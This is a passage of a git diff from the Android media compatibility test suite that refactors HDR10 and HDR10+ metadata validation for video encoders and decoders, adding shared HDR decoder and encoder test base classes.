String inpMime = inpFormat.getString(MediaFormat.KEY_MIME);
@@ -1424,41 +1450,26 @@ abstract class CodecTestBase {
}
}
- void validateHDRStaticMetaData(MediaFormat fmt, ByteBuffer hdrStaticRef) {
- ByteBuffer hdrStaticInfo = fmt.getByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, null);
- assertNotNull("No HDR static metadata present in format : " + fmt, hdrStaticInfo);
- if (!hdrStaticRef.equals(hdrStaticInfo)) {
+ void validateHDRInfo(MediaFormat fmt, String hdrInfoKey, ByteBuffer hdrInfoRef) {
+ ByteBuffer hdrInfo = fmt.getByteBuffer(hdrInfoKey, null);
+ assertNotNull("No " + hdrInfoKey + " present in format : " + fmt, hdrInfo);
+ if (!hdrInfoRef.equals(hdrInfo)) {
StringBuilder refString = new StringBuilder("");
StringBuilder testString = new StringBuilder("");
- byte[] ref = new byte[hdrStaticRef.capacity()];
- hdrStaticRef.get(ref);
- byte[] test = new byte[hdrStaticInfo.capacity()];
- hdrStaticInfo.get(test);
- for (int i = 0; i < Math.min(ref.length, test.length); i++) {
+ byte[] ref = new byte[hdrInfoRef.capacity()];
+ hdrInfoRef.get(ref);
+ hdrInfoRef.rewind();
+ byte[] test = new byte[hdrInfo.capacity()];
+ hdrInfo.get(test);
+ hdrInfo.rewind();
+ for (int i = 0; i < ref.length; i++) {
refString.append(String.format("%2x ", ref[i]));
- testString.append(String.format("%2x ", test[i]));
}
- fail("hdr static info mismatch" + "\n" + "ref static info : " + refString + "\n" +
- "test static info : " + testString);
- }
- }
-
- void validateHDRDynamicMetaData(MediaFormat fmt, ByteBuffer hdrDynamicRef) {
- ByteBuffer hdrDynamicInfo = fmt.getByteBuffer(MediaFormat.KEY_HDR10_PLUS_INFO, null);
- assertNotNull("No HDR dynamic metadata present in format : " + fmt, hdrDynamicInfo);
- if (!hdrDynamicRef.equals(hdrDynamicInfo)) {
- StringBuilder refString = new StringBuilder("");
- StringBuilder testString = new StringBuilder("");
- byte[] ref = new byte[hdrDynamicRef.capacity()];
- hdrDynamicRef.get(ref);
- byte[] test = new byte[hdrDynamicInfo.capacity()];
- hdrDynamicInfo.get(test);
- for (int i = 0; i < Math.min(ref.length, test.length); i++) {
- refString.append(String.format("%2x ", ref[i]));
+ for (int i = 0; i < test.length; i++) {
testString.append(String.format("%2x ", test[i]));
}
- fail("hdr dynamic info mismatch" + "\n" + "ref dynamic info : " + refString + "\n" +
- "test dynamic info : " + testString);
+ fail(hdrInfoKey + " mismatch in codec " + mCodecName + "\nref info : " + refString +
+ "\n test info : " + testString);
}
}
@@ -1680,15 +1691,8 @@ class CodecDecoderTestBase extends CodecTestBase {
int height = format.getInteger(MediaFormat.KEY_HEIGHT);
int stride = format.getInteger(MediaFormat.KEY_STRIDE);
mOutputBuff.checksum(buf, info.size, width, height, stride, bytesPerSample);
-
- if (mTestDynamicMetadata) {
- validateHDRDynamicMetaData(mCodec.getOutputFormat(), ByteBuffer
- .wrap(loadByteArrayFromString(HDR_DYNAMIC_INFO[mOutputCount])));
-
- }
}
}
-
if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
mSawOutputEOS = true;
}
@@ -1808,57 +1812,18 @@ class CodecDecoderTestBase extends CodecTestBase {
mCodec.release();
mExtractor.release();
}
-
- void validateHDRStaticMetaData(String parent, String name, ByteBuffer HDRStatic,
- boolean ignoreContainerStaticInfo)
- throws IOException, InterruptedException {
- mOutputBuff = new OutputManager();
- MediaFormat format = setUpSource(parent, name);
- if (ignoreContainerStaticInfo) {
- format.removeKey(MediaFormat.KEY_HDR_STATIC_INFO);
- }
- mCodec = MediaCodec.createByCodecName(mCodecName);
- configureCodec(format, true, true, false);
- mCodec.start();
- doWork(10);
- queueEOS();
- waitForAllOutputs();
- validateHDRStaticMetaData(mCodec.getOutputFormat(), HDRStatic);
- mCodec.stop();
- mCodec.release();
- mExtractor.release();
- }
-
- void validateHDRDynamicMetaData(String parent, String name, boolean ignoreContainerDynamicInfo)
- throws IOException, InterruptedException {
- mOutputBuff = new OutputManager();
- MediaFormat format = setUpSource(parent, name);
- if (ignoreContainerDynamicInfo) {
- format.removeKey(MediaFormat.KEY_HDR10_PLUS_INFO);
- }
- mCodec = MediaCodec.createByCodecName(mCodecName);
- configureCodec(format, true, true, false);
- mCodec.start();
- doWork(10);
- queueEOS();
- waitForAllOutputs();
- mCodec.stop();
- mCodec.release();
- mExtractor.release();
- }
}
class CodecEncoderTestBase extends CodecTestBase {
private static final String LOG_TAG = CodecEncoderTestBase.class.getSimpleName();
// files are in WorkDir.getMediaDirString();
- private static final String INPUT_AUDIO_FILE = "bbb_2ch_44kHz_s16le.raw";
- private static final String INPUT_VIDEO_FILE = "bbb_cif_yuv420p_30fps.yuv";
+ protected static final String INPUT_AUDIO_FILE = "bbb_2ch_44kHz_s16le.raw";
+ protected static final String INPUT_VIDEO_FILE = "bbb_cif_yuv420p_30fps.yuv";
protected static final String INPUT_AUDIO_FILE_HBD = "audio/sd_2ch_48kHz_f32le.raw";
protected static final String INPUT_VIDEO_FILE_HBD = "cosmat_cif_24fps_yuv420p16le.yuv";
-
- private final int INP_FRM_WIDTH = 352;
- private final int INP_FRM_HEIGHT = 288;
+ protected final int INP_FRM_WIDTH = 352;
+ protected final int INP_FRM_HEIGHT = 288;
final String mMime;
final int[] mBitrates;
@@ -2217,3 +2182,241 @@ class CodecEncoderTestBase extends CodecTestBase {
return cdtb.mOutputBuff.getBuffer();
}
}
+
+class HDRDecoderTestBase extends CodecDecoderTestBase {
+ private static final String LOG_TAG = HDRDecoderTestBase.class.getSimpleName();
+
+ private ByteBuffer mHdrStaticInfoRef;
+ private ByteBuffer mHdrStaticInfoStream;
+ private ByteBuffer mHdrStaticInfoContainer;
+ private Map<Integer, String> mHdrDynamicInfoRef;
+ private Map<Integer, String> mHdrDynamicInfoStream;
+ private Map<Integer, String> mHdrDynamicInfoContainer;
+ private String mHdrDynamicInfoCurrent;
+
+ public HDRDecoderTestBase(String decoder, String mime, String testFile) {
+ super(decoder, mime, testFile);
+ }
+
+ void enqueueInput(int bufferIndex) {
+ if (mHdrDynamicInfoContainer != null && mHdrDynamicInfoContainer.containsKey(mInputCount) &&
+ mExtractor.getSampleSize() != -1) {
+ insertHdrDynamicInfo(
+ loadByteArrayFromString(mHdrDynamicInfoContainer.get(mInputCount)));
+ }
+ super.enqueueInput(bufferIndex);
+ }
+
+ void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
+ if (info.size > 0 && mHdrDynamicInfoRef != null) {
+ MediaFormat format = mCodec.getOutputFormat(bufferIndex);
+ if (mHdrDynamicInfoRef.containsKey(mOutputCount)) {
+ mHdrDynamicInfoCurrent = mHdrDynamicInfoRef.get(mOutputCount);
+ }
+ validateHDRInfo(format, MediaFormat.KEY_HDR10_PLUS_INFO,
+ ByteBuffer.wrap(loadByteArrayFromString(mHdrDynamicInfoCurrent)));
+ }
+ super.dequeueOutput(bufferIndex, info);
+ }
+
+ void validateHDRInfo(String hdrStaticInfoStream, String hdrStaticInfoContainer,
+ Map<Integer, String> hdrDynamicInfoStream,
+ Map<Integer, String> hdrDynamicInfoContainer) throws IOException,
+ InterruptedException {
+ mHdrStaticInfoStream = hdrStaticInfoStream != null ?
+ ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoStream)) : null;
+ mHdrStaticInfoContainer = hdrStaticInfoContainer != null ?
+ ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoContainer)) : null;
+ mHdrStaticInfoRef = mHdrStaticInfoStream == null ? mHdrStaticInfoContainer :
+ mHdrStaticInfoStream;
+ mHdrDynamicInfoStream = hdrDynamicInfoStream;
+ mHdrDynamicInfoContainer = hdrDynamicInfoContainer;
+ mHdrDynamicInfoRef = hdrDynamicInfoStream == null ? hdrDynamicInfoContainer :
+ hdrDynamicInfoStream;
+
+ assertTrue("reference hdr10/hdr10+ info is not supplied for validation",
+ mHdrDynamicInfoRef != null || mHdrStaticInfoRef != null);
+
+ if (mHdrDynamicInfoStream != null || mHdrDynamicInfoContainer != null) {
+ Assume.assumeNotNull("Test is only applicable to codecs that have HDR10+ profiles",
+ mProfileHdr10PlusMap.get(mMime));
+ }
+ if (mHdrStaticInfoStream != null || mHdrStaticInfoContainer != null) {
+ Assume.assumeNotNull("Test is only applicable to codecs that have HDR10 profiles",
+ mProfileHdr10Map.get(mMime));
+ }
+
+ File fObj = new File(mTestFile);
+ String parent = fObj.getParent();
+ if (parent != null) parent += File.separator;
+ else parent = mInpPrefix;
+ Preconditions.assertTestFileExists(parent + fObj.getName());
+ // For decoders, if you intend to supply hdr10+ info using external means like json, make
+ // sure that info that is being supplied is in sync with SEI info
+ if (mHdrDynamicInfoStream != null && mHdrDynamicInfoContainer != null) {
+ assertEquals("Container hdr10+ info size and elementary stream SEI hdr10+ " +
+ "info size are unequal", mHdrDynamicInfoStream.size(),
+ mHdrDynamicInfoContainer.size());
+ for (Map.Entry<Integer, String> element : mHdrDynamicInfoStream.entrySet()) {
+ assertTrue("Container hdr10+ info and elementary stream SEI hdr10+ " +
+ "info frame positions are not in sync",
+ mHdrDynamicInfoContainer.containsKey(element.getKey()));
+ }
+ }
+ mOutputBuff = new OutputManager();
+ MediaFormat format = setUpSource(parent, fObj.getName());
+ if (mHdrDynamicInfoStream != null || mHdrDynamicInfoContainer != null) {
+ format.setInteger(MediaFormat.KEY_PROFILE, mProfileHdr10PlusMap.get(mMime)[0]);
+ } else {
+ format.setInteger(MediaFormat.KEY_PROFILE, mProfileHdr10Map.get(mMime)[0]);
+ }
+ ArrayList<MediaFormat> formatList = new ArrayList<>();
+ formatList.add(format);
+ Assume.assumeTrue(mCodecName + " does not support HDR10/HDR10+ profile",
+ areFormatsSupported(mCodecName, mMime, formatList));
+ mCodec = MediaCodec.createByCodecName(mCodecName);
+ configureCodec(format, false, true, false);
+ mCodec.start();
+ doWork(Integer.MAX_VALUE);
+ queueEOS();
+ waitForAllOutputs();
+ if (mHdrStaticInfoRef != null) {
+ validateHDRInfo(mCodec.getOutputFormat(), MediaFormat.KEY_HDR_STATIC_INFO,
+ mHdrStaticInfoRef);
+ }
+ mCodec.stop();
+ mCodec.release();
+ mExtractor.release();
+ }
+}
+
+class HDREncoderTestBase extends CodecEncoderTestBase {
+ private static final String LOG_TAG = HDREncoderTestBase.class.getSimpleName();
+
+ private ByteBuffer mHdrStaticInfo;
+ private Map<Integer, String> mHdrDynamicInfo;
+
+ private MediaMuxer mMuxer;
+ private int mTrackID = -1;
+
+ public HDREncoderTestBase(String encoderName, String mediaType, int bitrate, int width,
+ int height) {
+ super(encoderName, mediaType, new int[]{bitrate}, new int[]{width}, new int[]{height});
+ }
+
+ void enqueueInput(int bufferIndex) {
+ if (mHdrDynamicInfo != null && mHdrDynamicInfo.containsKey(mInputCount)) {
+ insertHdrDynamicInfo(loadByteArrayFromString(mHdrDynamicInfo.get(mInputCount)));
+ }
+ super.enqueueInput(bufferIndex);
+ }
+
+ void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
+ MediaFormat bufferFormat = mCodec.getOutputFormat(bufferIndex);
+ if (info.size > 0) {
+ ByteBuffer buf = mCodec.getOutputBuffer(bufferIndex);
+ if (mMuxer != null) {
+ if (mTrackID == -1) {
+ mTrackID = mMuxer.addTrack(bufferFormat);
+ mMuxer.start();
+ }
+ mMuxer.writeSampleData(mTrackID, buf, info);
+ }
+ }
+ super.dequeueOutput(bufferIndex, info);
+ }
+
+ void validateHDRInfo(String hdrStaticInfo, Map<Integer, String> hdrDynamicInfo)
+ throws IOException, InterruptedException {
+ mHdrStaticInfo = hdrStaticInfo != null ?
+ ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfo)) : null;
+ mHdrDynamicInfo = hdrDynamicInfo;
+
+ setUpParams(1);
+
+ MediaFormat format = mFormats.get(0);
+ format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
+ format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+ format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT2020);
+ format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_ST2084);
+ int profile = (mHdrDynamicInfo != null) ? mProfileHdr10PlusMap.get(mMime)[0] :
+ mProfileHdr10Map.get(mMime)[0];
+ format.setInteger(MediaFormat.KEY_PROFILE, profile);
+
+ if (mHdrStaticInfo != null) {
+ format.setByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, mHdrStaticInfo);
+ }
+ Assume.assumeTrue(mCodecName + " does not support HDR10/HDR10+ profile " + profile,
+ areFormatsSupported(mCodecName, mMime, mFormats));
+ Assume.assumeTrue(mCodecName + " does not support color format COLOR_FormatYUVP010",
+ hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
+
+ mBytesPerSample = 2;
+ setUpSource(INPUT_VIDEO_FILE_HBD);
+
+ int frameLimit = 4;
+ if (mHdrDynamicInfo != null) {
+ Integer lastHdr10PlusFrame =
+ Collections.max(HDR_DYNAMIC_INFO.entrySet(), Map.Entry.comparingByKey())
+ .getKey();
+ frameLimit = lastHdr10PlusFrame + 10;
+ }
+ int maxNumFrames = mInputData.length / (INP_FRM_WIDTH * INP_FRM_HEIGHT * mBytesPerSample);
+ assertTrue("HDR info tests require input file with at least " + frameLimit +
+ " frames. " + INPUT_VIDEO_FILE_HBD + " has " + maxNumFrames + " frames.",
+ frameLimit <= maxNumFrames);
+
+ mOutputBuff = new OutputManager();
+ mCodec = MediaCodec.createByCodecName(mCodecName);
+ File tmpFile;
+ int muxerFormat;
+ if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+ muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM;
+ tmpFile = File.createTempFile("tmp10bit", ".webm");
+ } else {
+ muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4;
+ tmpFile = File.createTempFile("tmp10bit", ".mp4");
+ }
+ mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat);
+ configureCodec(format, true, true, true);
+ mCodec.start();
+ doWork(frameLimit);
+ queueEOS();
+ waitForAllOutputs();
+ if (mTrackID != -1) {
+ mMuxer.stop();
+ mTrackID = -1;
+ }
+ if (mMuxer != null) {
+ mMuxer.release();
+ mMuxer = null;
+ }
+ String log = String.format("format: %s \n codec: %s:: ", format, mCodecName);
+ assertTrue(log + "unexpected error", !mAsyncHandle.hasSeenError());
+ assertTrue(log + "no input sent", 0 != mInputCount);
+ assertTrue(log + "output received", 0 != mOutputCount);
+
+ MediaFormat fmt = mCodec.getOutputFormat();
+
+ mCodec.stop();
+ mCodec.release();
+ if (mHdrStaticInfo != null) {
+ // verify if the out fmt contains HDR Static info as expected
+ validateHDRInfo(fmt, MediaFormat.KEY_HDR_STATIC_INFO, mHdrStaticInfo);
+ }
+
+ // verify if the muxed file contains HDR Dynamic info as expected
+ MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ String decoder = codecList.findDecoderForFormat(format);
+ assertNotNull("Device advertises support for encoding " + format + " but not decoding it",
+ decoder);
+
+ HDRDecoderTestBase decoderTest = new HDRDecoderTestBase(decoder, mMime,
+ tmpFile.getAbsolutePath());
+ decoderTest.validateHDRInfo(hdrStaticInfo, hdrStaticInfo, mHdrDynamicInfo, mHdrDynamicInfo);
+ if (HDR_INFO_IN_BITSTREAM_CODECS.contains(mMime)) {
+ decoderTest.validateHDRInfo(hdrStaticInfo, null, mHdrDynamicInfo, null);
+ }
+ tmpFile.delete();
+ }
+}
diff --git a/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java b/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java
index 3dd28aa48c3..4994a9bc987 100644
--- a/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java
+++ b/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java
@@ -22,6 +22,8 @@ import android.os.Build;
import androidx.test.filters.SdkSuppress;
import androidx.test.filters.SmallTest;
+import com.android.compatibility.common.util.CddTest;
+
import org.junit.Assume;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -29,34 +31,34 @@ import org.junit.runners.Parameterized;
import java.io.IOException;
import java.nio.ByteBuffer;
-import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.List;
+import java.util.Map;
/**
- * Test to validate hdr static metadata in decoders
+ * Test to validate hdr static info in decoders
*/
@RunWith(Parameterized.class)
// P010 support was added in Android T, hence limit the following tests to Android T and above
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
-public class DecoderHDRInfoTest extends CodecDecoderTestBase {
+public class DecoderHDRInfoTest extends HDRDecoderTestBase {
private static final String LOG_TAG = DecoderHDRInfoTest.class.getSimpleName();
- private static final String HDR_STATIC_INFO =
- "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 a0 0f 32 00 10 27 df 0d";
- private static final String HDR_STATIC_INCORRECT_INFO =
- "00 d0 84 80 3e c2 33 c4 86 10 27 d0 07 13 3d 42 40 a0 0f 32 00 10 27 df 0d";
- private final ByteBuffer mHDRStaticInfoStream;
- private final ByteBuffer mHDRStaticInfoContainer;
+ private String mHDRStaticInfoStream;
+ private String mHDRStaticInfoContainer;
+ private Map<Integer, String> mHDRDynamicInfoStream;
+ private Map<Integer, String> mHDRDynamicInfoContainer;
public DecoderHDRInfoTest(String codecName, String mediaType, String testFile,
- String hdrStaticInfoStream, String hdrStaticInfoContainer) {
+ String hdrStaticInfoStream, String hdrStaticInfoContainer,
+ Map<Integer, String> HDRDynamicInfoStream,
+ Map<Integer, String> HDRDynamicInfoContainer) {
super(codecName, mediaType, testFile);
- mHDRStaticInfoStream = hdrStaticInfoStream != null ?
- ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoStream)) : null;
- mHDRStaticInfoContainer = hdrStaticInfoContainer != null ?
- ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoContainer)) : null;
+ mHDRStaticInfoStream = hdrStaticInfoStream;
+ mHDRStaticInfoContainer = hdrStaticInfoContainer;
+ mHDRDynamicInfoStream = HDRDynamicInfoStream;
+ mHDRDynamicInfoContainer = HDRDynamicInfoContainer;
}
@Parameterized.Parameters(name = "{index}({0}_{1})")
@@ -65,64 +67,50 @@ public class DecoderHDRInfoTest extends CodecDecoderTestBase {
final boolean needAudio = false;
final boolean needVideo = true;
final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
- // codecMediaType, testFile, hdrInfo in stream, hdrInfo in container
+ // codecMediaType, testFile, hdrStaticInfo in stream, hdrStaticInfo in container,
+ // hdrDynamicInfo in stream, hdrDynamicInfo in container
{MediaFormat.MIMETYPE_VIDEO_HEVC,
"cosmat_352x288_hdr10_stream_and_container_correct_hevc.mkv",
- HDR_STATIC_INFO, HDR_STATIC_INFO},
+ HDR_STATIC_INFO, HDR_STATIC_INFO, null, null},
{MediaFormat.MIMETYPE_VIDEO_HEVC,
"cosmat_352x288_hdr10_stream_correct_container_incorrect_hevc.mkv",
- HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO},
+ HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO, null, null},
{MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_only_stream_hevc.mkv",
- HDR_STATIC_INFO, null},
+ HDR_STATIC_INFO, null, null, null},
{MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_only_container_hevc.mkv",
- null, HDR_STATIC_INFO},
+ null, HDR_STATIC_INFO, null, null},
{MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_352x288_hdr10_only_container_vp9.mkv",
- null, HDR_STATIC_INFO},
+ null, HDR_STATIC_INFO, null, null},
{MediaFormat.MIMETYPE_VIDEO_AV1,
"cosmat_352x288_hdr10_stream_and_container_correct_av1.mkv",
- HDR_STATIC_INFO, HDR_STATIC_INFO},
+ HDR_STATIC_INFO, HDR_STATIC_INFO, null, null},
{MediaFormat.MIMETYPE_VIDEO_AV1,
"cosmat_352x288_hdr10_stream_correct_container_incorrect_av1.mkv",
- HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO},
+ HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO, null, null},
{MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_only_stream_av1.mkv",
- HDR_STATIC_INFO, null},
+ HDR_STATIC_INFO, null, null, null},
{MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_only_container_av1.mkv",
- null, HDR_STATIC_INFO},
+ null, HDR_STATIC_INFO, null, null},
+ {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10plus_hevc.mp4",
+ null, null, HDR_DYNAMIC_INFO, null},
+ {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10plus_hevc.mp4",
+ null, null, HDR_DYNAMIC_INFO, HDR_DYNAMIC_INCORRECT_INFO},
+ {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10plus_av1.mkv",
+ null, null, HDR_DYNAMIC_INFO, null},
+ {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10plus_av1.mkv",
+ null, null, HDR_DYNAMIC_INFO, HDR_DYNAMIC_INCORRECT_INFO},
+ {MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_352x288_hdr10_only_container_vp9.mkv",
+ null, null, null, HDR_DYNAMIC_INFO},
+
});
return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
}
@SmallTest
@Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
- public void testHDRMetadata() throws IOException, InterruptedException {
- int[] Hdr10Profiles = mProfileHdr10Map.get(mMime);
- Assume.assumeNotNull("Test is only applicable to codecs that have HDR10 profiles",
- Hdr10Profiles);
- MediaFormat format = setUpSource(mTestFile);
- mExtractor.release();
- ArrayList<MediaFormat> formats = new ArrayList<>();
- formats.add(format);
-
- // When HDR metadata isn't present in the container, but included in the bitstream,
- // extractors may not be able to populate HDR10/HDR10+ profiles correctly.
- // In such cases, override the profile
- if (mHDRStaticInfoContainer == null && mHDRStaticInfoStream != null) {
- int profile = Hdr10Profiles[0];
- format.setInteger(MediaFormat.KEY_PROFILE, profile);
- }
- Assume.assumeTrue(areFormatsSupported(mCodecName, mMime, formats));
-
- if (mHDRStaticInfoContainer != null) {
- validateHDRStaticMetaData(format, mHDRStaticInfoContainer);
- }
-
- validateHDRStaticMetaData(mInpPrefix, mTestFile,
- mHDRStaticInfoStream == null ? mHDRStaticInfoContainer : mHDRStaticInfoStream,
- false);
- if (mHDRStaticInfoStream != null) {
- if (EncoderHDRInfoTest.mCheckESList.contains(mMime)) {
- validateHDRStaticMetaData(mInpPrefix, mTestFile, mHDRStaticInfoStream, true);
- }
- }
+ @CddTest(requirements = {"5.3.5/C-3-1", "5.3.7/C-4-1", "5.3.9"})
+ public void testHDRInfo() throws IOException, InterruptedException {
+ validateHDRInfo(mHDRStaticInfoStream, mHDRStaticInfoContainer, mHDRDynamicInfoStream,
+ mHDRDynamicInfoContainer);
}
}
diff --git a/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java b/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java
index 26c6eb55920..66916e52df8 100644
--- a/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java
@@ -21,84 +21,59 @@ import android.media.MediaCodecList;
import android.media.MediaFormat;
import android.media.MediaMuxer;
import android.os.Build;
-import android.os.Bundle;
+import android.util.Log;
import androidx.test.filters.SdkSuppress;
import androidx.test.filters.SmallTest;
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.After;
import org.junit.Assume;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
-import java.io.File;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
+import java.util.Collections;
import java.util.List;
+import java.util.Map;
import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
-import static android.media.MediaCodecInfo.CodecProfileLevel.*;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
/**
- * Test to validate hdr static and dynamic metadata in encoders
+ * HDR10 Metadata is an aid for a display device to show the content in an optimal manner. It
+ * contains the HDR content and mastering device properties that are used by the display device
+ * to map the content according to its own color gamut and peak brightness. This information is
+ * part of the elementary stream. Generally this information is placed at scene change intervals
+ * or even at every frame level. If the encoder is configured with hdr info, then it is
+ * expected to place this information in the elementary stream as-is. This test validates the
+ * same. The test feeds per-frame or per-scene info at various points and expects the encoder
+ * to place the hdr info in the elementary stream at exactly those points
+ *
+ * Restrict hdr info test for Android T and above
*/
@RunWith(Parameterized.class)
// P010 support was added in Android T, hence limit the following tests to Android T and above
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
-public class EncoderHDRInfoTest extends CodecEncoderTestBase {
+public class EncoderHDRInfoTest extends HDREncoderTestBase {
private static final String LOG_TAG = EncoderHDRInfoTest.class.getSimpleName();
- private MediaMuxer mMuxer;
- private int mTrackID = -1;
- static final ArrayList<String> mCheckESList = new ArrayList<>();
-
- static {
- mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
- mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
- mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
- }
+ private String mHDRStaticInfo;
+ private Map<Integer, String> mHDRDynamicInfo;
- public EncoderHDRInfoTest(String encoderName, String mediaType, int bitrate, int width,
- int height, boolean testDynamicMetadata) {
- super(encoderName, mediaType, new int[]{bitrate}, new int[]{width}, new int[]{height});
- mTestDynamicMetadata = testDynamicMetadata;
- }
-
- void enqueueInput(int bufferIndex) {
- if(mTestDynamicMetadata){
- final Bundle params = new Bundle();
- byte[] info = loadByteArrayFromString(HDR_DYNAMIC_INFO[mInputCount]);
- params.putByteArray(MediaFormat.KEY_HDR10_PLUS_INFO, info);
- mCodec.setParameters(params);
- if (mInputCount >= HDR_DYNAMIC_INFO.length) {
- mSawInputEOS = true;
- }
- }
- super.enqueueInput(bufferIndex);
- }
- void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
- MediaFormat bufferFormat = mCodec.getOutputFormat(bufferIndex);
- if (info.size > 0) {
- ByteBuffer buf = mCodec.getOutputBuffer(bufferIndex);
- if (mMuxer != null) {
- if (mTrackID == -1) {
- mTrackID = mMuxer.addTrack(bufferFormat);
- mMuxer.start();
- }
- mMuxer.writeSampleData(mTrackID, buf, info);
- }
- }
- super.dequeueOutput(bufferIndex, info);
- // verify if the out fmt contains HDR Dynamic metadata as expected
- if (mTestDynamicMetadata && mOutputCount > 0) {
- validateHDRDynamicMetaData(bufferFormat,
- ByteBuffer.wrap(loadByteArrayFromString(HDR_DYNAMIC_INFO[mOutputCount - 1])));
- }
+ public EncoderHDRInfoTest(String encoderName, String mediaType, int bitrate,
+ int width, int height, String HDRStaticInfo,
+ Map<Integer, String> HDRDynamicInfo) {
+ super(encoderName, mediaType, bitrate, width, height);
+ mHDRStaticInfo = HDRStaticInfo;
+ mHDRDynamicInfo = HDRDynamicInfo;
}
@Parameterized.Parameters(name = "{index}({0}_{1})")
@@ -106,111 +81,28 @@ public class EncoderHDRInfoTest extends CodecEncoderTestBase {
final boolean isEncoder = true;
final boolean needAudio = false;
final boolean needVideo = true;
-
- final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
- {MediaFormat.MIMETYPE_VIDEO_AV1, 512000, 352, 288, false},
- {MediaFormat.MIMETYPE_VIDEO_VP9, 512000, 352, 288, false},
- {MediaFormat.MIMETYPE_VIDEO_HEVC, 512000, 352, 288, false},
-
- {MediaFormat.MIMETYPE_VIDEO_AV1, 512000, 352, 288, true},
- {MediaFormat.MIMETYPE_VIDEO_VP9, 512000, 352, 288, true},
- {MediaFormat.MIMETYPE_VIDEO_HEVC, 512000, 352, 288, true},
- });
+ final String[] mediaTypes = new String[]{
+ MediaFormat.MIMETYPE_VIDEO_AV1,
+ MediaFormat.MIMETYPE_VIDEO_HEVC,
+ MediaFormat.MIMETYPE_VIDEO_VP9
+ };
+
+ final List<Object[]> exhaustiveArgsList = new ArrayList<>();
+ for (String mediaType : mediaTypes) {
+ // mediaType, bitrate, width, height, hdrStaticInfo, hdrDynamicInfo
+ exhaustiveArgsList.add(new Object[]{mediaType, 512000, 352, 288, HDR_STATIC_INFO,
+ null});
+ exhaustiveArgsList.add(new Object[]{mediaType, 512000, 352, 288, null,
+ HDR_DYNAMIC_INFO});
+ }
return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
}
@SmallTest
@Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
- public void testHDRMetadata() throws IOException, InterruptedException {
- int profile;
- setUpParams(1);
- MediaFormat format = mFormats.get(0);
- final ByteBuffer hdrStaticInfo = ByteBuffer.wrap(loadByteArrayFromString(HDR_STATIC_INFO));
- if (mTestDynamicMetadata) {
- profile = mProfileHdr10PlusMap.getOrDefault(mMime, new int[]{-1})[0];
- } else {
- profile = mProfileHdr10Map.getOrDefault(mMime, new int[]{-1})[0];
- }
- format.setInteger(MediaFormat.KEY_PROFILE, profile);
- format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
